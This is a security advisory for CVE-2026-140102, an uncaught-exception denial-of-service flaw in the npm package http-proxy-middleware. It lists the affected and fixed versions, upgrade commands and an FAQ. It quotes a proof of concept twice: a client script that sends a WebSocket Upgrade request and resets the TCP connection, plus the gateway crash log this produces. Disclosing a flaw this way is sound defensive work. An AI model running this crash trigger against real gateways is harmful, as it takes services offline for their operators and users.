CVE-2026-140102: http-proxy-middleware Unauthenticated Remote Gateway Crash Vulnerability

HIGH
Advisory Identifier: GHSA-hvp5-3mrg-q5hg
CVSS 7.5
CWE-248
Published
Advisory Summary

CVE-2026-140102 is a HIGH (CVSS 7.5) unauthenticated remote gateway crash vulnerability (CWE-248: Uncaught Exception) affecting http-proxy-middleware libraries in the npm ecosystem. The issue involves unauthenticated remote gateway crash via an `upgrade` request to a path outside `pathfilter` followed by a tcp rst (ws: true). Remediation is available by upgrading affected packages to version 2.0.12, 3.0.11, 4.2.2.

CVE-2026-140102 at a Glance

CVE Identifier CVE-2026-140102
GHSA Identifier GHSA-hvp5-3mrg-q5hg
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-248: Uncaught Exception
Affected Product http-proxy-middleware
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-140102

To remediate this vulnerability, upgrade all affected http-proxy-middleware dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

http-proxy-middleware fixed: 2.0.12
npm install http-proxy-middleware@2.0.12
http-proxy-middleware fixed: 3.0.11
npm install http-proxy-middleware@3.0.11
http-proxy-middleware fixed: 4.2.2
npm install http-proxy-middleware@4.2.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls http-proxy-middleware

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-140102, inspect your project dependencies using npm:

npm ls http-proxy-middleware

Analyze the terminal output to locate any version of http-proxy-middleware in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.0.12), your application is affected.

Note: The npm ls http-proxy-middleware command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-248: Uncaught Exception, where an exception is thrown from a function, but it is not caught. In http-proxy-middleware, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Proof of concept 1. run `gateway.js` ```js import http from "http"; import { createProxyMiddleware } from "http-proxy-middleware"; const neverTrigger = () => console.log("neverTrigger"); const proxy = createProxyMiddleware({ target: "http://example.com", pathFilter: "/ws", ws: true, on: { error: neverTrigger } }); const server = http.createServer((req, res) => proxy( req, res, () => res.writeHead(404).end() )); server.on("upgrade", proxy.upgrade); server.on("error", neverTrigger); server.on("clientError", neverTrigger); server.listen(5056, "127.0.0.1"); ``` 2. run `client.js` ```js import net from "net"; const socket = net.connect(5056, "127.0.0.1", () => { socket.write("GET / HTTP/1.1\r\nHost: 127.0.0.1\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\r\n"); setTimeout(() => socket.resetAndDestroy(), 100); }); ``` 3. gateway process crash ``` node:events:505 throw er; // Unhandled 'error' event ^ Error: read ECONNRESET at TCP.onStreamRead (node:internal/stream_base_commons:221:20) Emitted 'error' event on Socket instance at: at emitErrorNT (node:internal/streams/destroy:170:8) at emitErrorCloseNT (node:internal/streams/destroy:129:3) at process.processTicksAndRejections (node:internal/process/task_queues:90:21) { errno: -54, code: 'ECONNRESET', syscall: 'read' } Node.js v24.22.3 ``` ### Impact A remote unauthenticated attacker can crash the whole gateway process with a single `Upgrade` request and a TCP RST, even when `on.error` and the server's `error` and `clientError` events are all handled.

CVE-2026-140102 Affected http-proxy-middleware Versions

3 component(s)
Fixed Versions:
2.0.123.0.114.2.2
Product / Package Ecosystem Affected Versions Fixed Version
http-proxy-middleware
npm
≥ 0.8.0
< 2.0.12
2.0.12
http-proxy-middleware
npm
≥ 3.0.0-beta.0
< 3.0.11
3.0.11
http-proxy-middleware
npm
≥ 4.0.0-beta.0
< 4.2.2
4.2.2

References

Frequently Asked Questions

What is CVE-2026-140102?
CVE-2026-140102 is a security vulnerability in http-proxy-middleware involving Unauthenticated remote gateway crash via an `Upgrade` request to a path outside `pathFilter` followed by a TCP RST (ws: true) under CWE-248: Uncaught Exception.
Which http-proxy-middleware versions are affected?
Affected versions include releases prior to 2.0.12, 3.0.11, 4.2.2 across affected packages: http-proxy-middleware.
What version fixes CVE-2026-140102?
Upgrading to 2.0.12, 3.0.11, 4.2.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is http-proxy-middleware affected?
Yes, http-proxy-middleware is affected in releases prior to 2.0.12, 3.0.11, 4.2.2. Upgrade your dependency to 2.0.12, 3.0.11, 4.2.2 or later.
What is the CVSS score of CVE-2026-140102?
CVE-2026-140102 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-140102?
CVE-2026-140102 is classified under CWE-248: Uncaught Exception (An exception is thrown from a function, but it is not caught.).
How can I check npm dependencies for CVE-2026-140102?
Run the dependency tree command: 'npm ls http-proxy-middleware'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hvp5-3mrg-q5hg",
  "modified" : "2026-12-01T18:41:09Z",
  "published" : "2026-12-01T18:41:09Z",
  "aliases" : [ "CVE-2026-140102" ],
  "summary" : "http-proxy-middleware: Unauthenticated remote gateway crash via an `Upgrade` request to a path outside `pathFilter` followed by a TCP RST (ws: true)",
  "details" : "### Proof of concept\n\n1. run `gateway.js`\n```js\nimport http from \"http\";\nimport { createProxyMiddleware } from \"http-proxy-middleware\";\n\nconst neverTrigger = () => console.log(\"neverTrigger\");\n\nconst proxy = createProxyMiddleware({\n  target: \"http://example.com\",\n  pathFilter: \"/ws\",\n  ws: true,\n  on: { error: neverTrigger }\n});\nconst server = http.createServer((req, res) => proxy(\n  req,\n  res,\n  () => res.writeHead(404).end()\n));\nserver.on(\"upgrade\", proxy.upgrade);\nserver.on(\"error\", neverTrigger);\nserver.on(\"clientError\", neverTrigger);\nserver.listen(5056, \"127.0.0.1\");\n```\n2. run `client.js`\n```js\nimport net from \"net\";\n\nconst socket = net.connect(5056, \"127.0.0.1\", () => {\n  socket.write(\"GET / HTTP/1.1\\r\\nHost: 127.0.0.1\\r\\nConnection: Upgrade\\r\\nUpgrade: websocket\\r\\n\\r\\n\");\n  setTimeout(() => socket.resetAndDestroy(), 100);\n});\n```\n3. gateway process crash\n```\nnode:events:505\n    throw er; // Unhandled 'error' event\n    ^\n\nError: read ECONNRESET\n    at TCP.onStreamRead (node:internal/stream_base_commons:221:20)\nEmitted 'error' event on Socket instance at:\n    at emitErrorNT (node:internal/streams/destroy:170:8)\n    at emitErrorCloseNT (node:internal/streams/destroy:129:3)\n    at process.processTicksAndRejections (node:internal/process/task_queues:90:21) {\n  errno: -54,\n  code: 'ECONNRESET',\n  syscall: 'read'\n}\n\nNode.js v24.22.3\n```\n\n### Impact\n\nA remote unauthenticated attacker can crash the whole gateway process with a single `Upgrade` request and a TCP RST, even when `on.error` and the server's `error` and `clientError` events are all handled.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "http-proxy-middleware"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.8.0"
      }, {
        "fixed" : "2.0.12"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "http-proxy-middleware"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.0.0-beta.0"
      }, {
        "fixed" : "3.0.11"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "http-proxy-middleware"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.0.0-beta.0"
      }, {
        "fixed" : "4.2.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/chimurai/http-proxy-middleware/security/advisories/GHSA-hvp5-3mrg-q5hg"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-140102"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/chimurai/http-proxy-middleware/pull/1328"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/chimurai/http-proxy-middleware/pull/1329"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/chimurai/http-proxy-middleware/pull/1330"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/chimurai/http-proxy-middleware/commit/386bed662facba30c5602ca211a5399f09cdd715"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/chimurai/http-proxy-middleware/commit/6911b4daefaa138767d4e4c35302b6dea2e2b64a"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/chimurai/http-proxy-middleware/commit/c82e123f831bae1f46d1d06d9c035e385771b7b9"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/chimurai/http-proxy-middleware"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.12"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.11"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/chimurai/http-proxy-middleware/releases/tag/v4.2.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-248" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-12-01T18:41:09Z",
    "nvd_published_at" : "2026-11-30T23:17:24Z"
  }
}